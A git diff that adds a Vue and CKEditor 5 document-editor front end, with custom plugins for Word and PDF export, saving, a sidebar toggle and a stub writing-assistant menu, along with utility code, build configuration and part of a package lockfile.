diff --git a/ckeditor5/src/App.vue b/ckeditor5/src/App.vue new file mode 100644 index 0000000..edf71df --- /dev/null +++ b/ckeditor5/src/App.vue @@ -0,0 +1,567 @@ + + diff --git a/ckeditor5/src/assets/logo.png b/ckeditor5/src/assets/logo.png new file mode 100644 index 0000000..f3d2503 Binary files /dev/null and b/ckeditor5/src/assets/logo.png differ diff --git a/ckeditor5/src/components/plugins.js b/ckeditor5/src/components/plugins.js new file mode 100644 index 0000000..e77f49d --- /dev/null +++ b/ckeditor5/src/components/plugins.js @@ -0,0 +1,588 @@ +import { + AccessibilityHelp, + Alignment, + Autoformat, + AutoImage, + AutoLink, + Autosave, + BalloonToolbar, + Base64UploadAdapter, + BlockQuote, + Bold, + Code, + CodeBlock, + Essentials, + FindAndReplace, + FontBackgroundColor, + FontColor, + FontFamily, + FontSize, + GeneralHtmlSupport, + Heading, + Highlight, + HorizontalLine, + ImageBlock, + ImageCaption, + ImageInline, + ImageInsert, + ImageInsertViaUrl, + ImageResize, + ImageStyle, + ImageTextAlternative, + ImageToolbar, + ImageUpload, + Indent, + IndentBlock, + Italic, + Link, + LinkImage, + List, + ListProperties, + Markdown, + MediaEmbed, + Mention, + PageBreak, + Paragraph, + PasteFromMarkdownExperimental, + PasteFromOffice, + RemoveFormat, + SelectAll, + SpecialCharacters, + SpecialCharactersArrows, + SpecialCharactersCurrency, + SpecialCharactersEssentials, + SpecialCharactersLatin, + SpecialCharactersMathematical, + SpecialCharactersText, + Strikethrough, + Style, + Subscript, + Superscript, + Table, + TableCaption, + TableCellProperties, + TableColumnResize, + TableProperties, + TableToolbar, + TextTransformation, + TodoList, + Underline, + Undo, + + Plugin, + ButtonView, + createDropdown, + Collection, + addListToDropdown, +} from 'ckeditor5'; +import translations from 'ckeditor5/translations/zh-cn.js'; +import { asBlob } from 'html-docx-js-typescript' +import { saveAs } from 'file-saver'; +import { + getStyle, + getPageContent, + getUserConfigFromBackend, + saveData +} from './utils'; + +// 导出为docx插件 +function exportWord(){ + const pageContent = getPageContent(); + const style = getStyle(); + const page = '' + style + '' + pageContent + '' + + // console.log(page); + asBlob(page).then(data => { + saveAs(data, 'file.docx') // save as docx file + }); // asBlob() return Promise +} +class Export2Word extends Plugin { + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('ExportToWord', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '导出为docx', + // withText: true + tooltip: true, + + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Ctrl+W' + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + exportWord(); + }); + + // 添加快捷键 Ctrl+W 导出为docx + editor.keystrokes.set('Ctrl+W', (event, cancel) => { + exportWord(); + cancel(); + }); + return button; + }); + + // 增加菜单栏? 不显示按钮 + // editor.ui.extendMenuBar({ + // menu: { + // menuId: 'export', + // label: '导出', + // groups: [ + // { + // groupId: 'export', + // items: [ + // 'ExportToWord' + // ] + // } + // ] + // }, + // position: 'after:help' + // } + // ); + + } +} + +// 导出为PDF插件 +function printPDF() { + const pageContent = getPageContent(); + console.log(pageContent); + const style = getStyle(); + // 去掉element中的 ck-focused ck-weight_selected消除页面和图片的蓝边 + const page = '' + style + '' + pageContent.replaceAll('ck-focused', 'ck-blurred').replaceAll('ck-weight_selected', '') + '' + const newWindow = window.open('', 'PrintDocument', 'height=600,width=700,top=50,left=50'); + newWindow.document.write(page); + newWindow.document.close(); + newWindow.print(); + newWindow.onafterprint = function () { + newWindow.close(); + } +} +class Export2PDF extends Plugin { + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('ExportToPDF', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '导出为PDF', + // withText: true + tooltip: true, + + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Ctrl+P' + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + printPDF(); + }); + + // 添加快捷键 Ctrl+P 导出为PDF + editor.keystrokes.set('Ctrl+P', (event, cancel) => { + printPDF(); + cancel(); + }); + + return button; + }); + } +} + +// 智能润色插件 +class Translation extends Plugin { + init() { + // console.log('Translation initialized!'); + + this.editor.ui.componentFactory.add('translate', (locale) => { + const dropdownView = createDropdown(locale); + dropdownView.buttonView.set({ + label: '智能助手', + withText: true, + }); + + const items = new Collection(); + items.add({ + type: 'button', + model: { + id: 'summary', + withText: true, + label: '摘要', + } + }); + items.add({ + type: 'button', + model: { + id: 'decoration', + withText: true, + label: '润色' + } + }); + items.add({ + type: 'button', + model: { + id: 'extension', + withText: true, + label: '续写' + } + }); + items.add({ + type: 'button', + model: { + id: 'correction', + withText: true, + label: '修改' + } + }); + items.add({ + type: 'button', + model: { + id: 'translation', + withText: true, + label: '翻译' + } + }); + addListToDropdown(dropdownView, items); + + dropdownView.on('execute', (eventInfo) => { + const { id, label } = eventInfo.source; + // 获取选中的文本,用来进行后续操作 + const selectionText = window.getSelection().toString(); + if (id === 'summary') { + // this.editor.execute('ExportToWord'); + console.log('Object (en):', label, selectionText); + } + }); + + return dropdownView; + }); + } +} + +// 侧边栏按钮 +class ToggleSideBar extends Plugin { + // constructor(toggleSidebar) { + // super(); + // this.toggleSidebar = toggleSidebar; + // } + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('SideBar', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '侧边栏', + // withText: true + tooltip: true, + // 图标 直接插入svg文件 + icon: '' + + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + // 打开sidebar + const bt = document.getElementById("toggleSidebarButton"); + bt.click(); + }); + + return button; + }); + } +} + +// 保存按钮 +class SaveButton extends Plugin { + // constructor(toggleSidebar) { + // super(); + // this.toggleSidebar = toggleSidebar; + // } + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('SaveButton', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '保存', + // withText: true + tooltip: true, + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Ctrl+S' + + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + saveData(getPageContent()) + }); + + return button; + }); + + // 添加快捷键 Ctrl+S 保存 + editor.keystrokes.set('Ctrl+S', (event, cancel) => { + saveData(getPageContent()); + cancel(); + }); + } +} + +// 配置CKEditor5 +function setConfig() { + // 获取用户的样式配置 + const userConfig = getUserConfigFromBackend(); + return { + toolbar: { + items: [ + 'undo', + 'redo', + '|', + 'heading', + 'style', + '|', + 'fontSize', + 'fontFamily', + 'fontColor', + 'fontBackgroundColor', + '|', + 'bold', + 'italic', + 'underline', + '|', + 'link', + 'insertImage', + 'insertTable', + 'highlight', + 'codeBlock', + 'blockquote', + '|', + 'alignment', + 'bulletedList', + 'numberedList', + 'outdent', + 'indent', + '|', 'ExportToWord', 'ExportToPDF', 'translate', 'SideBar', 'SaveButton' + ], + shouldNotGroupWhenFull: true + }, + plugins: [ + AccessibilityHelp, + Alignment, + Autoformat, + AutoImage, + AutoLink, + Autosave, + BalloonToolbar, + Base64UploadAdapter, + BlockQuote, + Bold, + Code, + CodeBlock, + Essentials, + FindAndReplace, + FontBackgroundColor, + FontColor, + FontFamily, + FontSize, + GeneralHtmlSupport, + Heading, + Highlight, + HorizontalLine, + ImageBlock, + ImageCaption, + ImageInline, + ImageInsert, + ImageInsertViaUrl, + ImageResize, + ImageStyle, + ImageTextAlternative, + ImageToolbar, + ImageUpload, + Indent, + IndentBlock, + Italic, + Link, + LinkImage, + List, + ListProperties, + Markdown, + MediaEmbed, + Mention, + PageBreak, + Paragraph, + PasteFromMarkdownExperimental, + PasteFromOffice, + RemoveFormat, + SelectAll, + SpecialCharacters, + SpecialCharactersArrows, + SpecialCharactersCurrency, + SpecialCharactersEssentials, + SpecialCharactersLatin, + SpecialCharactersMathematical, + SpecialCharactersText, + Strikethrough, + Style, + Subscript, + Superscript, + Table, + TableCaption, + TableCellProperties, + TableColumnResize, + TableProperties, + TableToolbar, + TextTransformation, + TodoList, + Underline, + Undo, + Export2Word, Translation, Export2PDF, ToggleSideBar, SaveButton + ], + balloonToolbar: ['bold', 'italic', '|', 'link', 'insertImage', '|', 'bulletedList', 'numberedList'], + //自定义设置字体 + fontFamily: { + // 自定义字体 + options: userConfig.fontFamily.options, + // 启用对所有字体名称的支持 + supportAllValues: true, + }, + fontSize: { + // 五号,小四,四号,小三,三号,小二,二号 + options: userConfig.fontSize.options, + supportAllValues: true + }, + heading: { + options: [ + { + model: 'paragraph', + title: 'Paragraph', + class: 'ck-heading_paragraph' + }, + { + model: 'heading1', + view: 'h1', + title: 'Heading 1', + class: 'ck-heading_heading1' + }, + { + model: 'heading2', + view: 'h2', + title: 'Heading 2', + class: 'ck-heading_heading2' + }, + { + model: 'heading3', + view: 'h3', + title: 'Heading 3', + class: 'ck-heading_heading3' + }, + { + model: 'heading4', + view: 'h4', + title: 'Heading 4', + class: 'ck-heading_heading4' + }, + { + model: 'heading5', + view: 'h5', + title: 'Heading 5', + class: 'ck-heading_heading5' + }, + { + model: 'heading6', + view: 'h6', + title: 'Heading 6', + class: 'ck-heading_heading6' + } + ] + }, + htmlSupport: { + allow: [ + { + name: /^.*$/, + styles: true, + attributes: true, + classes: true + } + ] + }, + image: { + toolbar: [ + 'toggleImageCaption', + 'imageTextAlternative', + '|', + 'imageStyle:inline', + 'imageStyle:wrapText', + 'imageStyle:breakText', + '|', + 'resizeImage' + ] + }, + initialData: + '', + language: 'zh-cn', + link: { + addTargetToExternalLinks: true, + defaultProtocol: 'https://', + decorators: { + toggleDownloadable: { + mode: 'manual', + label: 'Downloadable', + attributes: { + download: 'file' + } + } + } + }, + list: { + properties: { + styles: true, + startIndex: true, + reversed: true + } + }, + mention: { + feeds: [ + { + marker: '@', + feed: [ + /* See: https://ckeditor.com/docs/ckeditor5/latest/features/mentions.html */ + ] + } + ] + }, + menuBar: { + isVisible: true, + removeItems: ['help'], + }, + placeholder: 'Type or paste your content here!', + // 用户可以自定义和管理样式 + style: { + definitions: userConfig.style.definitions + }, + table: { + contentToolbar: ['tableColumn', 'tableRow', 'mergeTableCells', 'tableProperties', 'tableCellProperties'] + }, + autosave: { + waitingTime: 180000, // (in ms) 3minutes + save() { + // TODO save + return saveData(getPageContent()); + } + }, + translations: [translations] + } +} +export { Export2Word, Export2PDF, Translation, ToggleSideBar, setConfig }; \ No newline at end of file diff --git a/ckeditor5/src/components/utils.js b/ckeditor5/src/components/utils.js new file mode 100644 index 0000000..a65a8c8 --- /dev/null +++ b/ckeditor5/src/components/utils.js @@ -0,0 +1,138 @@ +// utils.js + +// 获取用户配置 +export function getUserConfigFromBackend() { + // TODO 请求用户配置 + const options = {}; + // 字体、字号、样式 + // TODO + const { + fontFamilyOptions = [ + 'default', + '宋体', + '新宋体', + '仿宋', + '楷体', + '微软雅黑', + '黑体', + '华文仿宋', + '华文楷体', + '华文隶书', + '华文宋体', + '华文细黑', + '华文新魏', + '华文行楷', + '华文中宋', + '隶书', + '苹方 常规', + '幼圆', + 'Times New Roman' + ], + // 五号,小四,四号,小三,三号,小二,二号 + fontSizeOptions = [14, 'default', 16,18.6,20, 21.3,24,29.3], + styleDefinitions = [ + { + name: 'Article category', + element: 'h3', + classes: ['category'] + }, + { + name: 'Title', + element: 'h2', + classes: ['document-title'] + }, + { + name: 'Subtitle', + element: 'h3', + classes: ['document-subtitle'] + }, + { + name: 'Info box', + element: 'p', + classes: ['info-box'] + }, + { + name: 'Side quote', + element: 'blockquote', + classes: ['side-quote'] + }, + { + name: 'Marker', + element: 'span', + classes: ['marker'] + }, + { + name: 'Spoiler', + element: 'span', + classes: ['spoiler'] + }, + { + name: 'Code (dark)', + element: 'pre', + classes: ['fancy-code', 'fancy-code-dark'] + }, + { + name: 'Code (bright)', + element: 'pre', + classes: ['fancy-code', 'fancy-code-bright'] + } + ] + } = options; + // 如果传入的options没有对应项,使用默认值 + return { + fontFamily: { + options: fontFamilyOptions + }, + fontSize: { + options: fontSizeOptions + }, + style: { + definitions: styleDefinitions + } + }; +} + +// 实现自动保存saveData方法,将编辑内容发送至后端 +export function saveData(data) { + // return new Promise( resolve => { + // setTimeout( () => { + // console.log( 'Saved', data ); + + // resolve(); + // }, HTTP_SERVER_LAG ); + // } ); + console.log(data); +} + + +// 将当前页面的样式转为内联 +export function getStyle() { + let str = ''; + const styles = document.querySelectorAll('style'); + for (let i = 0; i < styles.length; i++) { + str += styles[i].outerHTML; + } + str += ""; + str += "" + // str += "" + str += "" + return str; +} + +// 获取用户编辑的内容 +export function getPageContent() { + // const pageContent = document.querySelector("#app > div > div > div > div.editor-container__editor-wrapper > div > div > div.ck.ck-reset.ck-editor.ck-rounded-corners > div.ck.ck-editor__main > div"); + const pageContent = document.querySelector("#app > div > div > div > div.editor-container__editor-wrapper > div > div > div"); + return pageContent.innerHTML; +} + +// 获取并应用用户定义的样式 +export function getAndApplyUserStyles() { + // 模拟从后端获取用户定义的样式 + const response = fetch('/api/user-styles'); + const styles = response.json(); + const styleElement = document.createElement('style'); + styleElement.innerHTML = styles; + document.head.appendChild(styleElement); + return styles; +} diff --git a/ckeditor5/src/main.js b/ckeditor5/src/main.js new file mode 100644 index 0000000..9765663 --- /dev/null +++ b/ckeditor5/src/main.js @@ -0,0 +1,8 @@ +import { createApp } from 'vue'; +import '../public/style.css'; +import App from './App.vue'; +import { CkeditorPlugin } from '@ckeditor/ckeditor5-vue'; + +const app = createApp(App); +app.use(CkeditorPlugin); +app.mount('#app'); \ No newline at end of file diff --git a/ckeditor5/vue.config.js b/ckeditor5/vue.config.js new file mode 100644 index 0000000..5977699 --- /dev/null +++ b/ckeditor5/vue.config.js @@ -0,0 +1,22 @@ +const { defineConfig } = require('@vue/cli-service') + +const AutoImport = require('unplugin-auto-import/webpack') +const Components = require('unplugin-vue-components/webpack') +const { ElementPlusResolver } = require('unplugin-vue-components/resolvers') + +module.exports = defineConfig({ + transpileDependencies: true, + configureWebpack: { + plugins: [ + AutoImport({ + resolvers: [ElementPlusResolver(),] + // 自动导入图标组件 + }), + Components({ + resolvers: [ElementPlusResolver()] + }), + ] + } + + +}) diff --git a/coeditor_frontend/.gitignore b/coeditor_frontend/.gitignore new file mode 100644 index 0000000..403adbc --- /dev/null +++ b/coeditor_frontend/.gitignore @@ -0,0 +1,23 @@ +.DS_Store +node_modules +/dist + + +# local env files +.env.local +.env.*.local + +# Log files +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# Editor directories and files +.idea +.vscode +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/coeditor_frontend/README.md b/coeditor_frontend/README.md new file mode 100644 index 0000000..58a4584 --- /dev/null +++ b/coeditor_frontend/README.md @@ -0,0 +1,24 @@ +# coeditor_frontend + +## Project setup +``` +npm install +``` + +### Compiles and hot-reloads for development +``` +npm run serve +``` + +### Compiles and minifies for production +``` +npm run build +``` + +### Lints and fixes files +``` +npm run lint +``` + +### Customize configuration +See [Configuration Reference](https://cli.vuejs.org/config/). diff --git a/coeditor_frontend/babel.config.js b/coeditor_frontend/babel.config.js new file mode 100644 index 0000000..e955840 --- /dev/null +++ b/coeditor_frontend/babel.config.js @@ -0,0 +1,5 @@ +module.exports = { + presets: [ + '@vue/cli-plugin-babel/preset' + ] +} diff --git a/coeditor_frontend/jsconfig.json b/coeditor_frontend/jsconfig.json new file mode 100644 index 0000000..4aafc5f --- /dev/null +++ b/coeditor_frontend/jsconfig.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "es5", + "module": "esnext", + "baseUrl": "./", + "moduleResolution": "node", + "paths": { + "@/*": [ + "src/*" + ] + }, + "lib": [ + "esnext", + "dom", + "dom.iterable", + "scripthost" + ] + } +} diff --git a/coeditor_frontend/package-lock.json b/coeditor_frontend/package-lock.json new file mode 100644 index 0000000..1bd911d --- /dev/null +++ b/coeditor_frontend/package-lock.json @@ -0,0 +1,12766 @@ +{ + "name": "coeditor_frontend", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "coeditor_frontend", + "version": "0.1.0", + "dependencies": { + "@ckeditor/ckeditor5-vue": "^7.2.0", + "@popperjs/core": "^2.11.8", + "axios": "^1.7.7", + "bootstrap": "^5.3.3", + "ckeditor5": "^43.3.1", + "core-js": "^3.8.3", + "element-plus": "^2.8.7", + "file-saver": "^2.0.5", + "html-docx-js-typescript": "^0.1.5", + "jquery": "^3.7.1", + "jwt-decode": "^4.0.0", + "mitt": "^3.0.1", + "vue": "^3.5.13", + "vue-router": "^4.0.3", + "vuex": "^4.0.0" + }, + "devDependencies": { + "@babel/core": "^7.12.16", + "@babel/eslint-parser": "^7.12.16", + "@vue/cli-plugin-babel": "~5.0.0", + "@vue/cli-plugin-eslint": "~5.0.0", + "@vue/cli-plugin-router": "~5.0.0", + "@vue/cli-plugin-vuex": "~5.0.0", + "@vue/cli-service": "~5.0.0", + "eslint": "^7.32.0", + "eslint-plugin-vue": "^8.0.3", + "unplugin-auto-import": "^0.16.1", + "unplugin-vue-components": "^0.25.0" + } + }, + "node_modules/@achrinza/node-ipc": { + "version": "9.2.9", + "resolved": "https://registry.npmmirror.com/@achrinza/node-ipc/-/node-ipc-9.2.9.tgz", + "integrity": "sha512-7s0VcTwiK/0tNOVdSX9FWMeFdOEcsAOz9HesBldXxFMaGvIak7KC2z9tV9EgsQXn6KUsWsfIkViMNuIo0GoZDQ==", + "dev": true, + "dependencies": { + "@node-ipc/js-queue": "2.0.3", + "event-pubsub": "4.3.0", + "js-message": "1.0.7" + }, + "engines": { + "node": "8 || 9 || 10 || 11 || 12 || 13 || 14 || 15 || 16 || 17 || 18 || 19 || 20 || 21 || 22" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/@ampproject/remapping/-/remapping-2.3.0.tgz", + "integrity": "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@antfu/utils": { + "version": "0.7.10", + "resolved": "https://registry.npmmirror.com/@antfu/utils/-/utils-0.7.10.tgz", + "integrity": "sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.26.2", + "resolved": "https://registry.npmmirror.com/@babel/code-frame/-/code-frame-7.26.2.tgz", + "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.25.9", + "js-tokens": "^4.0.0", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.26.2", + "resolved": "https://registry.npmmirror.com/@babel/compat-data/-/compat-data-7.26.2.tgz", + "integrity": "sha512-Z0WgzSEa+aUcdiJuCIqgujCshpMWgUpgOxXotrYPSA53hA3qopNaqcJpyr0hVb1FeWdnqFA35/fUtXgBK8srQg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/core/-/core-7.26.0.tgz", + "integrity": "sha512-i1SLeK+DzNnQ3LL/CswPCa/E5u4lh1k6IAEphON8F+cXt0t9euTshDru0q7/IqMa1PMPz5RnHuHscF8/ZJsStg==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.26.0", + "@babel/generator": "^7.26.0", + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-module-transforms": "^7.26.0", + "@babel/helpers": "^7.26.0", + "@babel/parser": "^7.26.0", + "@babel/template": "^7.25.9", + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.26.0", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/eslint-parser": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/eslint-parser/-/eslint-parser-7.25.9.tgz", + "integrity": "sha512-5UXfgpK0j0Xr/xIdgdLEhOFxaDZ0bRPWJJchRpqOSur/3rZoPbqqki5mm0p4NE2cs28krBEiSM2MB7//afRSQQ==", + "dev": true, + "dependencies": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.11.0", + "eslint": "^7.5.0 || ^8.0.0 || ^9.0.0" + } + }, + "node_modules/@babel/generator": { + "version": "7.26.2", + "resolved": "https://registry.npmmirror.com/@babel/generator/-/generator-7.26.2.tgz", + "integrity": "sha512-zevQbhbau95nkoxSq3f/DC/SC+EEOUZd3DYqfSkMhY2/wfSeaHV1Ew4vk8e+x8lja31IbyuUa2uQ3JONqKbysw==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.26.2", + "@babel/types": "^7.26.0", + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz", + "integrity": "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.25.9.tgz", + "integrity": "sha512-C47lC7LIDCnz0h4vai/tpNOI95tCd5ZT3iBt/DBH5lXKHZsyNQv18yf1wIIg2ntiQNgmAvA+DgZ82iW8Qdym8g==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.9.tgz", + "integrity": "sha512-j9Db8Suy6yV/VHa4qzrj9yZfZxhLWQdVnRlXxmKLYlhWUVB1sB2G5sxuWYXk/whHD9iW76PmNzxZ4UCnTQTVEQ==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.25.9", + "@babel/helper-validator-option": "^7.25.9", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.25.9.tgz", + "integrity": "sha512-UTZQMvt0d/rSz6KI+qdu7GQze5TIajwTS++GUozlw8VBJDEOAqSXwm1WvmYEZwqdqSGQshRocPDqrt4HBZB3fQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-member-expression-to-functions": "^7.25.9", + "@babel/helper-optimise-call-expression": "^7.25.9", + "@babel/helper-replace-supers": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", + "@babel/traverse": "^7.25.9", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.25.9.tgz", + "integrity": "sha512-ORPNZ3h6ZRkOyAa/SaHU+XsLZr0UQzRwuDQ0cczIA17nAzZ+85G5cVkOJIj7QavLZGSe8QXUmNFxSZzjcZF9bw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "regexpu-core": "^6.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.3.tgz", + "integrity": "sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz", + "integrity": "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz", + "integrity": "sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz", + "integrity": "sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz", + "integrity": "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.25.9.tgz", + "integrity": "sha512-kSMlyUVdWe25rEsRGviIgOWnoT/nfABVWlqt9N19/dIPWViAOW2s9wznP5tURbs/IDuNk4gPy3YdYRgH3uxhBw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.25.9.tgz", + "integrity": "sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-wrap-function": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-replace-supers/-/helper-replace-supers-7.25.9.tgz", + "integrity": "sha512-IiDqTOTBQy0sWyeXyGSC5TBJpGFXBkRynjBeXsvbhQFKj2viwJC76Epz35YLU1fpe/Am6Vppb7W7zM4fPQzLsQ==", + "dev": true, + "dependencies": { + "@babel/helper-member-expression-to-functions": "^7.25.9", + "@babel/helper-optimise-call-expression": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.25.9", + "resolved": 